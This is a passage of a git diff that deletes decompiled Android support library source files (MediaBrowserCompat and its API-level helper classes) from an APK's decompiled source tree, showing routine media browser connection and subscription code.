optionsList = value.getOptionsList(); - for (int i = 0; i < callbacks.size(); i++) { - this.mServiceBinderWrapper.addSubscription(key, callbacks.get(i).mToken, optionsList.get(i), this.mCallbacksMessenger); - } - } - } catch (RemoteException unused) { - Log.d(MediaBrowserCompat.TAG, "addSubscription failed with RemoteException."); - } - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserServiceCallbackImpl - public void onConnectionFailed(Messenger messenger) { - Log.e(MediaBrowserCompat.TAG, "onConnectFailed for " + this.mServiceComponent); - if (isCurrent(messenger, "onConnectFailed")) { - if (this.mState != 1) { - Log.w(MediaBrowserCompat.TAG, "onConnect from service while mState=" + getStateLabel(this.mState) + "... ignoring"); - return; - } - forceCloseConnection(); - this.mCallback.onConnectionFailed(); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserServiceCallbackImpl - public void onLoadChildren(Messenger messenger, String str, List list, Bundle bundle) { - if (isCurrent(messenger, "onLoadChildren")) { - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "onLoadChildren for " + this.mServiceComponent + " id=" + str); - } - Subscription subscription = this.mSubscriptions.get(str); - if (subscription == null) { - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "onLoadChildren for id that isn't subscribed id=" + str); - return; - } - return; - } - SubscriptionCallback callback = subscription.getCallback(bundle); - if (callback != null) { - if (bundle == null) { - callback.onChildrenLoaded(str, list); - } else { - callback.onChildrenLoaded(str, list, bundle); - } - } - } - } - - private static String getStateLabel(int i) { - if (i != 0) { - if (i != 1) { - if (i != 2) { - if (i == 3) { - return "CONNECT_STATE_SUSPENDED"; - } - return "UNKNOWN/" + i; - } - return "CONNECT_STATE_CONNECTED"; - } - return "CONNECT_STATE_CONNECTING"; - } - return "CONNECT_STATE_DISCONNECTED"; - } - - private boolean isCurrent(Messenger messenger, String str) { - if (this.mCallbacksMessenger != messenger) { - if (this.mState != 0) { - Log.i(MediaBrowserCompat.TAG, str + " for " + this.mServiceComponent + " with mCallbacksMessenger=" + this.mCallbacksMessenger + " this=" + this); - return false; - } - return false; - } - return true; - } - - void dump() { - Log.d(MediaBrowserCompat.TAG, "MediaBrowserCompat..."); - Log.d(MediaBrowserCompat.TAG, " mServiceComponent=" + this.mServiceComponent); - Log.d(MediaBrowserCompat.TAG, " mCallback=" + this.mCallback); - Log.d(MediaBrowserCompat.TAG, " mRootHints=" + this.mRootHints); - Log.d(MediaBrowserCompat.TAG, " mState=" + getStateLabel(this.mState)); - Log.d(MediaBrowserCompat.TAG, " mServiceConnection=" + this.mServiceConnection); - Log.d(MediaBrowserCompat.TAG, " mServiceBinderWrapper=" + this.mServiceBinderWrapper); - Log.d(MediaBrowserCompat.TAG, " mCallbacksMessenger=" + this.mCallbacksMessenger); - Log.d(MediaBrowserCompat.TAG, " mRootId=" + this.mRootId); - Log.d(MediaBrowserCompat.TAG, " mMediaSessionToken=" + this.mMediaSessionToken); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class MediaServiceConnection implements ServiceConnection { - MediaServiceConnection() { - } - - @Override // android.content.ServiceConnection - public void onServiceConnected(final ComponentName componentName, final IBinder iBinder) { - postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplBase.MediaServiceConnection.1 - @Override // java.lang.Runnable - public void run() { - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "MediaServiceConnection.onServiceConnected name=" + componentName + " binder=" + iBinder); - MediaBrowserImplBase.this.dump(); - } - if (MediaServiceConnection.this.isCurrent("onServiceConnected")) { - MediaBrowserImplBase.this.mServiceBinderWrapper = new ServiceBinderWrapper(iBinder, MediaBrowserImplBase.this.mRootHints); - MediaBrowserImplBase.this.mCallbacksMessenger = new Messenger(MediaBrowserImplBase.this.mHandler); - MediaBrowserImplBase.this.mHandler.setCallbacksMessenger(MediaBrowserImplBase.this.mCallbacksMessenger); - MediaBrowserImplBase.this.mState = 1; - try { - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "ServiceCallbacks.onConnect..."); - MediaBrowserImplBase.this.dump(); - } - MediaBrowserImplBase.this.mServiceBinderWrapper.connect(MediaBrowserImplBase.this.mContext, MediaBrowserImplBase.this.mCallbacksMessenger); - } catch (RemoteException unused) { - Log.w(MediaBrowserCompat.TAG, "RemoteException during connect for " + MediaBrowserImplBase.this.mServiceComponent); - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "ServiceCallbacks.onConnect..."); - MediaBrowserImplBase.this.dump(); - } - } - } - } - }); - } - - @Override // android.content.ServiceConnection - public void onServiceDisconnected(final ComponentName componentName) { - postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplBase.MediaServiceConnection.2 - @Override // java.lang.Runnable - public void run() { - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "MediaServiceConnection.onServiceDisconnected name=" + componentName + " this=" + this + " mServiceConnection=" + MediaBrowserImplBase.this.mServiceConnection); - MediaBrowserImplBase.this.dump(); - } - if (MediaServiceConnection.this.isCurrent("onServiceDisconnected")) { - MediaBrowserImplBase.this.mServiceBinderWrapper = null; - MediaBrowserImplBase.this.mCallbacksMessenger = null; - MediaBrowserImplBase.this.mHandler.setCallbacksMessenger(null); - MediaBrowserImplBase.this.mState = 3; - MediaBrowserImplBase.this.mCallback.onConnectionSuspended(); - } - } - }); - } - - private void postOrRun(Runnable runnable) { - if (Thread.currentThread() == MediaBrowserImplBase.this.mHandler.getLooper().getThread()) { - runnable.run(); - } else { - MediaBrowserImplBase.this.mHandler.post(runnable); - } - } - - boolean isCurrent(String str) { - if (MediaBrowserImplBase.this.mServiceConnection != this) { - if (MediaBrowserImplBase.this.mState != 0) { - Log.i(MediaBrowserCompat.TAG, str + " for " + MediaBrowserImplBase.this.mServiceComponent + " with mServiceConnection=" + MediaBrowserImplBase.this.mServiceConnection + " this=" + this); - return false; - } - return false; - } - return true; - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaBrowserImplApi21 implements MediaBrowserImpl, MediaBrowserServiceCallbackImpl, ConnectionCallback.ConnectionCallbackInternal { - protected final Object mBrowserObj; - protected Messenger mCallbacksMessenger; - protected final Bundle mRootHints; - protected ServiceBinderWrapper mServiceBinderWrapper; - protected final CallbackHandler mHandler = new CallbackHandler(this); - private final ArrayMap mSubscriptions = new ArrayMap<>(); - - @Override // android.support.v4.media.MediaBrowserCompat.ConnectionCallback.ConnectionCallbackInternal - public void onConnectionFailed() { - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserServiceCallbackImpl - public void onConnectionFailed(Messenger messenger) { - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserServiceCallbackImpl - public void onServiceConnected(Messenger messenger, String str, MediaSessionCompat.Token token, Bundle bundle) { - } - - public MediaBrowserImplApi21(Context context, ComponentName componentName, ConnectionCallback connectionCallback, Bundle bundle) { - if (Build.VERSION.SDK_INT < 25) { - bundle = bundle == null ? new Bundle() : bundle; - bundle.putInt(MediaBrowserProtocol.EXTRA_CLIENT_VERSION, 1); - this.mRootHints = new Bundle(bundle); - } else { - this.mRootHints = bundle == null ? null : new Bundle(bundle); - } - connectionCallback.setInternalConnectionCallback(this); - this.mBrowserObj = MediaBrowserCompatApi21.createBrowser(context, componentName, connectionCallback.mConnectionCallbackObj, this.mRootHints); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void connect() { - MediaBrowserCompatApi21.connect(this.mBrowserObj); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void disconnect() { - Messenger messenger; - ServiceBinderWrapper serviceBinderWrapper = this.mServiceBinderWrapper; - if (serviceBinderWrapper != null && (messenger = this.mCallbacksMessenger) != null) { - try { - serviceBinderWrapper.unregisterCallbackMessenger(messenger); - } catch (RemoteException unused) { - Log.i(MediaBrowserCompat.TAG, "Remote error unregistering client messenger."); - } - } - MediaBrowserCompatApi21.disconnect(this.mBrowserObj); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public boolean isConnected() { - return MediaBrowserCompatApi21.isConnected(this.mBrowserObj); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public ComponentName getServiceComponent() { - return MediaBrowserCompatApi21.getServiceComponent(this.mBrowserObj); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public String getRoot() { - return MediaBrowserCompatApi21.getRoot(this.mBrowserObj); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public Bundle getExtras() { - return MediaBrowserCompatApi21.getExtras(this.mBrowserObj); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public MediaSessionCompat.Token getSessionToken() { - return MediaSessionCompat.Token.fromToken(MediaBrowserCompatApi21.getSessionToken(this.mBrowserObj)); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void subscribe(String str, Bundle bundle, SubscriptionCallback subscriptionCallback) { - Subscription subscription = this.mSubscriptions.get(str); - if (subscription == null) { - subscription = new Subscription(); - this.mSubscriptions.put(str, subscription); - } - subscriptionCallback.setSubscription(subscription); - subscription.putCallback(bundle, subscriptionCallback); - ServiceBinderWrapper serviceBinderWrapper = this.mServiceBinderWrapper; - if (serviceBinderWrapper == null) { - MediaBrowserCompatApi21.subscribe(this.mBrowserObj, str, subscriptionCallback.mSubscriptionCallbackObj); - return; - } - try { - serviceBinderWrapper.addSubscription(str, subscriptionCallback.mToken, bundle, this.mCallbacksMessenger); - } catch (RemoteException unused) { - Log.i(MediaBrowserCompat.TAG, "Remote error subscribing media item: " + str); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void unsubscribe(String str, SubscriptionCallback subscriptionCallback) { - Subscription subscription = this.mSubscriptions.get(str); - if (subscription == null) { - return; - } - ServiceBinderWrapper serviceBinderWrapper = this.mServiceBinderWrapper; - if (serviceBinderWrapper != null) { - try { - if (subscriptionCallback == null) { - serviceBinderWrapper.removeSubscription(str, null, this.mCallbacksMessenger); - } else { - List callbacks = subscription.getCallbacks(); - List optionsList = subscription.getOptionsList(); - for (int size = callbacks.size() - 1; size >= 0; size--) { - if (callbacks.get(size) == subscriptionCallback) { - this.mServiceBinderWrapper.removeSubscription(str, subscriptionCallback.mToken, this.mCallbacksMessenger); - callbacks.remove(size); - optionsList.remove(size); - } - } - } - } catch (RemoteException unused) { - Log.d(MediaBrowserCompat.TAG, "removeSubscription failed with RemoteException parentId=" + str); - } - } else if (subscriptionCallback == null) { - MediaBrowserCompatApi21.unsubscribe(this.mBrowserObj, str); - } else { - List callbacks2 = subscription.getCallbacks(); - List optionsList2 = subscription.getOptionsList(); - for (int size2 = callbacks2.size() - 1; size2 >= 0; size2--) { - if (callbacks2.get(size2) == subscriptionCallback) { - callbacks2.remove(size2); - optionsList2.remove(size2); - } - } - if (callbacks2.size() == 0) { - MediaBrowserCompatApi21.unsubscribe(this.mBrowserObj, str); - } - } - if (subscription.isEmpty() || subscriptionCallback == null) { - this.mSubscriptions.remove(str); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void getItem(final String str, final ItemCallback itemCallback) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("mediaId is empty"); - } - if (itemCallback == null) { - throw new IllegalArgumentException("cb is null"); - } - if (!MediaBrowserCompatApi21.isConnected(this.mBrowserObj)) { - Log.i(MediaBrowserCompat.TAG, "Not connected, unable to retrieve the MediaItem."); - this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplApi21.1 - @Override // java.lang.Runnable - public void run() { - itemCallback.onError(str); - } - }); - } else if (this.mServiceBinderWrapper == null) { - this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplApi21.2 - @Override // java.lang.Runnable - public void run() { - itemCallback.onError(str); - } - }); - } else { - try { - this.mServiceBinderWrapper.getMediaItem(str, new ItemReceiver(str, itemCallback, this.mHandler), this.mCallbacksMessenger); - } catch (RemoteException unused) { - Log.i(MediaBrowserCompat.TAG, "Remote error getting media item: " + str); - this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplApi21.3 - @Override // java.lang.Runnable - public void run() { - itemCallback.onError(str); - } - }); - } - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.ConnectionCallback.ConnectionCallbackInternal - public void onConnected() { - IBinder binder; - Bundle extras = MediaBrowserCompatApi21.getExtras(this.mBrowserObj); - if (extras == null || (binder = BundleCompat.getBinder(extras, MediaBrowserProtocol.EXTRA_MESSENGER_BINDER)) == null) { - return; - } - this.mServiceBinderWrapper = new ServiceBinderWrapper(binder, this.mRootHints); - Messenger messenger = new Messenger(this.mHandler); - this.mCallbacksMessenger = messenger; - this.mHandler.setCallbacksMessenger(messenger); - try { - this.mServiceBinderWrapper.registerCallbackMessenger(this.mCallbacksMessenger); - } catch (RemoteException unused) { - Log.i(MediaBrowserCompat.TAG, "Remote error registering client messenger."); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.ConnectionCallback.ConnectionCallbackInternal - public void onConnectionSuspended() { - this.mServiceBinderWrapper = null; - this.mCallbacksMessenger = null; - this.mHandler.setCallbacksMessenger(null); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserServiceCallbackImpl - public void onLoadChildren(Messenger messenger, String str, List list, Bundle bundle) { - if (this.mCallbacksMessenger != messenger) { - return; - } - Subscription subscription = this.mSubscriptions.get(str); - if (subscription == null) { - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "onLoadChildren for id that isn't subscribed id=" + str); - return; - } - return; - } - SubscriptionCallback callback = subscription.getCallback(bundle); - if (callback != null) { - if (bundle == null) { - callback.onChildrenLoaded(str, list); - } else { - callback.onChildrenLoaded(str, list, bundle); - } - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaBrowserImplApi23 extends MediaBrowserImplApi21 { - public MediaBrowserImplApi23(Context context, ComponentName componentName, ConnectionCallback connectionCallback, Bundle bundle) { - super(context, componentName, connectionCallback, bundle); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImplApi21, android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void getItem(String str, ItemCallback itemCallback) { - if (this.mServiceBinderWrapper == null) { - MediaBrowserCompatApi23.getItem(this.mBrowserObj, str, itemCallback.mItemCallbackObj); - } else { - super.getItem(str, itemCallback); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaBrowserImplApi24 extends MediaBrowserImplApi23 { - public MediaBrowserImplApi24(Context context, ComponentName componentName, ConnectionCallback connectionCallback, Bundle bundle) { - super(context, componentName, connectionCallback, bundle); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImplApi21, android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void subscribe(String str, Bundle bundle, SubscriptionCallback subscriptionCallback) { - if (bundle == null) { - MediaBrowserCompatApi21.subscribe(this.mBrowserObj, str, subscriptionCallback.mSubscriptionCallbackObj); - } else { - MediaBrowserCompatApi24.subscribe(this.mBrowserObj, str, bundle, subscriptionCallback.mSubscriptionCallbackObj); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImplApi21, android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void unsubscribe(String str, SubscriptionCallback subscriptionCallback) { - if (subscriptionCallback == null) { - MediaBrowserCompatApi21.unsubscribe(this.mBrowserObj, str); - } else { - MediaBrowserCompatApi24.unsubscribe(this.mBrowserObj, str, subscriptionCallback.mSubscriptionCallbackObj); - } - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Subscription { - private final List mCallbacks = new ArrayList(); - private final List mOptionsList = new ArrayList(); - - public boolean isEmpty() { - return this.mCallbacks.isEmpty(); - } - - public List getOptionsList() { - return this.mOptionsList; - } - - public List getCallbacks() { - return this.mCallbacks; - } - - public SubscriptionCallback getCallback(Bundle bundle) { - for (int i = 0; i < this.mOptionsList.size(); i++) { - if (MediaBrowserCompatUtils.areSameOptions(this.mOptionsList.get(i), bundle)) { - return this.mCallbacks.get(i); - } - } - return null; - } - - public void putCallback(Bundle bundle, SubscriptionCallback subscriptionCallback) { - for (int i = 0; i < this.mOptionsList.size(); i++) { - if (MediaBrowserCompatUtils.areSameOptions(this.mOptionsList.get(i), bundle)) { - this.mCallbacks.set(i, subscriptionCallback); - return; - } - } - this.mCallbacks.add(subscriptionCallback); - this.mOptionsList.add(bundle); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class CallbackHandler extends Handler { - private final WeakReference mCallbackImplRef; - private WeakReference mCallbacksMessengerRef; - - CallbackHandler(MediaBrowserServiceCallbackImpl mediaBrowserServiceCallbackImpl) { - this.mCallbackImplRef = new WeakReference<>(mediaBrowserServiceCallbackImpl); - } - - @Override // android.os.Handler - public void handleMessage(Message message) { - WeakReference weakReference = this.mCallbacksMessengerRef; - if (weakReference == null || weakReference.get() == null || this.mCallbackImplRef.get() == null) { - return; - } - Bundle data = message.getData(); - data.setClassLoader(MediaSessionCompat.class.getClassLoader()); - int i = message.what; - if (i == 1) { - this.mCallbackImplRef.get().onServiceConnected(this.mCallbacksMessengerRef.get(), data.getString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID), (MediaSessionCompat.Token) data.getParcelable(MediaBrowserProtocol.DATA_MEDIA_SESSION_TOKEN), data.getBundle(MediaBrowserProtocol.DATA_ROOT_HINTS)); - } else if (i == 2) { - this.mCallbackImplRef.get().onConnectionFailed(this.mCallbacksMessengerRef.get()); - } else if (i == 3) { - this.mCallbackImplRef.get().onLoadChildren(this.mCallbacksMessengerRef.get(), data.getString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID), data.getParcelableArrayList(MediaBrowserProtocol.DATA_MEDIA_ITEM_LIST), data.getBundle(MediaBrowserProtocol.DATA_OPTIONS)); - } else { - Log.w(MediaBrowserCompat.TAG, "Unhandled message: " + message + "\n Client version: 1\n Service version: " + message.arg1); - } - } - - void setCallbacksMessenger(Messenger messenger) { - this.mCallbacksMessengerRef = new WeakReference<>(messenger); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ServiceBinderWrapper { - private Messenger mMessenger; - private Bundle mRootHints; - - public ServiceBinderWrapper(IBinder iBinder, Bundle bundle) { - this.mMessenger = new Messenger(iBinder); - this.mRootHints = bundle; - } - - void connect(Context context, Messenger messenger) throws RemoteException { - Bundle bundle = new Bundle(); - bundle.putString(MediaBrowserProtocol.DATA_PACKAGE_NAME, context.getPackageName()); - bundle.putBundle(MediaBrowserProtocol.DATA_ROOT_HINTS, this.mRootHints); - sendRequest(1, bundle, messenger); - } - - void disconnect(Messenger messenger) throws RemoteException { - sendRequest(2, null, messenger); - } - - void addSubscription(String str, IBinder iBinder, Bundle bundle, Messenger messenger) throws RemoteException { - Bundle bundle2 = new Bundle(); - bundle2.putString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID, str); - BundleCompat.putBinder(bundle2, MediaBrowserProtocol.DATA_CALLBACK_TOKEN, iBinder); - bundle2.putBundle(MediaBrowserProtocol.DATA_OPTIONS, bundle); - sendRequest(3, bundle2, messenger); - } - - void removeSubscription(String str, IBinder iBinder, Messenger messenger) throws RemoteException { - Bundle bundle = new Bundle(); - bundle.putString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID, str); - BundleCompat.putBinder(bundle, MediaBrowserProtocol.DATA_CALLBACK_TOKEN, iBinder); - sendRequest(4, bundle, messenger); - } - - void getMediaItem(String str, ResultReceiver resultReceiver, Messenger messenger) throws RemoteException { - Bundle bundle = new Bundle(); - bundle.putString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID, str); - bundle.putParcelable(MediaBrowserProtocol.DATA_RESULT_RECEIVER, resultReceiver); - sendRequest(5, bundle, messenger); - } - - void registerCallbackMessenger(Messenger messenger) throws RemoteException { - Bundle bundle = new Bundle(); - bundle.putBundle(MediaBrowserProtocol.DATA_ROOT_HINTS, this.mRootHints); - sendRequest(6, bundle, messenger); - } - - void unregisterCallbackMessenger(Messenger messenger) throws RemoteException { - sendRequest(7, null, messenger); - } - - private void sendRequest(int i, Bundle bundle, Messenger messenger) throws RemoteException { - Message obtain = Message.obtain(); - obtain.what = i; - obtain.arg1 = 1; - obtain.setData(bundle); - obtain.replyTo = messenger; - this.mMessenger.send(obtain); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ItemReceiver extends ResultReceiver { - private final ItemCallback mCallback; - private final String mMediaId; - - ItemReceiver(String str, ItemCallback itemCallback, Handler handler) { - super(handler); - this.mMediaId = str; - this.mCallback = itemCallback; - } - - @Override // android.support.v4.os.ResultReceiver - protected void onReceiveResult(int i, Bundle bundle) { - bundle.setClassLoader(MediaBrowserCompat.class.getClassLoader()); - if (i != 0 || bundle == null || !bundle.containsKey(MediaBrowserServiceCompat.KEY_MEDIA_ITEM)) { - this.mCallback.onError(this.mMediaId); - return; - } - Parcelable parcelable = bundle.getParcelable(MediaBrowserServiceCompat.KEY_MEDIA_ITEM); - if (parcelable == null || (parcelable instanceof MediaItem)) { - this.mCallback.onItemLoaded((MediaItem) parcelable); - } else { - this.mCallback.onError(this.mMediaId); - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi21.java deleted file mode 100644 index 1ab41bd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi21.java +++ /dev/null @@ -1,135 +0,0 @@ -package android.support.v4.media; - -import android.content.ComponentName; -import android.content.Context; -import android.media.browse.MediaBrowser; -import android.os.Bundle; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserCompatApi21 { - static final String NULL_MEDIA_ITEM_ID = "android.support.v4.media.MediaBrowserCompat.NULL_MEDIA_ITEM"; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ConnectionCallback { - void onConnected(); - - void onConnectionFailed(); - - void onConnectionSuspended(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface SubscriptionCallback { - void onChildrenLoaded(String str, List list); - - void onError(String str); - } - - MediaBrowserCompatApi21() { - } - - public static Object createConnectionCallback(ConnectionCallback connectionCallback) { - return new ConnectionCallbackProxy(connectionCallback); - } - - public static Object createBrowser(Context context, ComponentName componentName, Object obj, Bundle bundle) { - return new MediaBrowser(context, componentName, (MediaBrowser.ConnectionCallback) obj, bundle); - } - - public static void connect(Object obj) { - ((MediaBrowser) obj).connect(); - } - - public static void disconnect(Object obj) { - ((MediaBrowser) obj).disconnect(); - } - - public static boolean isConnected(Object obj) { - return ((MediaBrowser) obj).isConnected(); - } - - public static ComponentName getServiceComponent(Object obj) { - return ((MediaBrowser) obj).getServiceComponent(); - } - - public static String getRoot(Object obj) { - return ((MediaBrowser) obj).getRoot(); - } - - public static Bundle getExtras(Object obj) { - return ((MediaBrowser) obj).getExtras(); - } - - public static Object getSessionToken(Object obj) { - return ((MediaBrowser) obj).getSessionToken(); - } - - public static Object createSubscriptionCallback(SubscriptionCallback subscriptionCallback) { - return new SubscriptionCallbackProxy(subscriptionCallback); - } - - public static void subscribe(Object obj, String str, Object obj2) { - ((MediaBrowser) obj).subscribe(str, (MediaBrowser.SubscriptionCallback) obj2); - } - - public static void unsubscribe(Object obj, String str) { - ((MediaBrowser) obj).unsubscribe(str); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ConnectionCallbackProxy extends MediaBrowser.ConnectionCallback { - protected final T mConnectionCallback; - - public ConnectionCallbackProxy(T t) { - this.mConnectionCallback = t; - } - - @Override // android.media.browse.MediaBrowser.ConnectionCallback - public void onConnected() { - this.mConnectionCallback.onConnected(); - } - - @Override // android.media.browse.MediaBrowser.ConnectionCallback - public void onConnectionSuspended() { - this.mConnectionCallback.onConnectionSuspended(); - } - - @Override // android.media.browse.MediaBrowser.ConnectionCallback - public void onConnectionFailed() { - this.mConnectionCallback.onConnectionFailed(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SubscriptionCallbackProxy extends MediaBrowser.SubscriptionCallback { - protected final T mSubscriptionCallback; - - public SubscriptionCallbackProxy(T t) { - this.mSubscriptionCallback = t; - } - - @Override // android.media.browse.MediaBrowser.SubscriptionCallback - public void onChildrenLoaded(String str, List list) { - this.mSubscriptionCallback.onChildrenLoaded(str, list); - } - - @Override // android.media.browse.MediaBrowser.SubscriptionCallback - public void onError(String str) { - this.mSubscriptionCallback.onError(str); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MediaItem { - MediaItem() { - } - - public static int getFlags(Object obj) { - return ((MediaBrowser.MediaItem) obj).getFlags(); - } - - public static Object getDescription(Object obj) { - return ((MediaBrowser.MediaItem) obj).getDescription(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi23.java deleted file mode 100644 index 9233c48..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi23.java +++ /dev/null @@ -1,46 +0,0 @@ -package android.support.v4.media; - -import android.media.browse.MediaBrowser; -import android.os.Parcel; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserCompatApi23 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ItemCallback { - void onError(String str); - - void onItemLoaded(Parcel parcel); - } - - MediaBrowserCompatApi23() { - } - - public static Object createItemCallback(ItemCallback itemCallback) { - return new ItemCallbackProxy(itemCallback); - } - - public static void getItem(Object obj, String str, Object obj2) { - ((MediaBrowser) obj).getItem(str, (MediaBrowser.ItemCallback) obj2); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ItemCallbackProxy extends MediaBrowser.ItemCallback { - protected final T mItemCallback; - - public ItemCallbackProxy(T t) { - this.mItemCallback = t; - } - - @Override // android.media.browse.MediaBrowser.ItemCallback - public void onItemLoaded(MediaBrowser.MediaItem mediaItem) { - Parcel obtain = Parcel.obtain(); - mediaItem.writeToParcel(obtain, 0); - this.mItemCallback.onItemLoaded(obtain); - } - - @Override // android.media.browse.MediaBrowser.ItemCallback - public void onError(String str) { - this.mItemCallback.onError(str); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi24.java deleted file mode 100644 index 13b5b80..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatApi24.java +++ /dev/null @@ -1,48 +0,0 @@ -package android.support.v4.media; - -import android.media.browse.MediaBrowser; -import android.os.Bundle; -import android.support.v4.media.MediaBrowserCompatApi21; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserCompatApi24 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface SubscriptionCallback extends MediaBrowserCompatApi21.SubscriptionCallback { - void onChildrenLoaded(String str, List list, Bundle bundle); - - void onError(String str, Bundle bundle); - } - - MediaBrowserCompatApi24() { - } - - public static Object createSubscriptionCallback(SubscriptionCallback subscriptionCallback) { - return new SubscriptionCallbackProxy(subscriptionCallback); - } - - public static void subscribe(Object obj, String str, Bundle bundle, Object obj2) { - ((MediaBrowser) obj).subscribe(str, bundle, (MediaBrowser.SubscriptionCallback) obj2); - } - - public static void unsubscribe(Object obj, String str, Object obj2) { - ((MediaBrowser) obj).unsubscribe(str, (MediaBrowser.SubscriptionCallback) obj2); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SubscriptionCallbackProxy extends MediaBrowserCompatApi21.SubscriptionCallbackProxy { - public SubscriptionCallbackProxy(T t) { - super(t); - } - - @Override // android.media.browse.MediaBrowser.SubscriptionCallback - public void onChildrenLoaded(String str, List list, Bundle bundle) { - ((SubscriptionCallback) this.mSubscriptionCallback).onChildrenLoaded(str, list, bundle); - } - - @Override // android.media.browse.MediaBrowser.SubscriptionCallback - public void onError(String str, Bundle bundle) { - ((SubscriptionCallback) this.mSubscriptionCallback).onError(str, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatUtils.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatUtils.java deleted file mode 100644 index 5cad3f5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompatUtils.java +++ /dev/null @@ -1,40 +0,0 @@ -package android.support.v4.media; - -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class MediaBrowserCompatUtils { - public static boolean areSameOptions(Bundle bundle, Bundle bundle2) { - if (bundle == bundle2) { - return true; - } - return bundle == null ? bundle2.getInt(MediaBrowserCompat.EXTRA_PAGE, -1) == -1 && bundle2.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1) == -1 : bundle2 == null ? bundle.getInt(MediaBrowserCompat.EXTRA_PAGE, -1) == -1 && 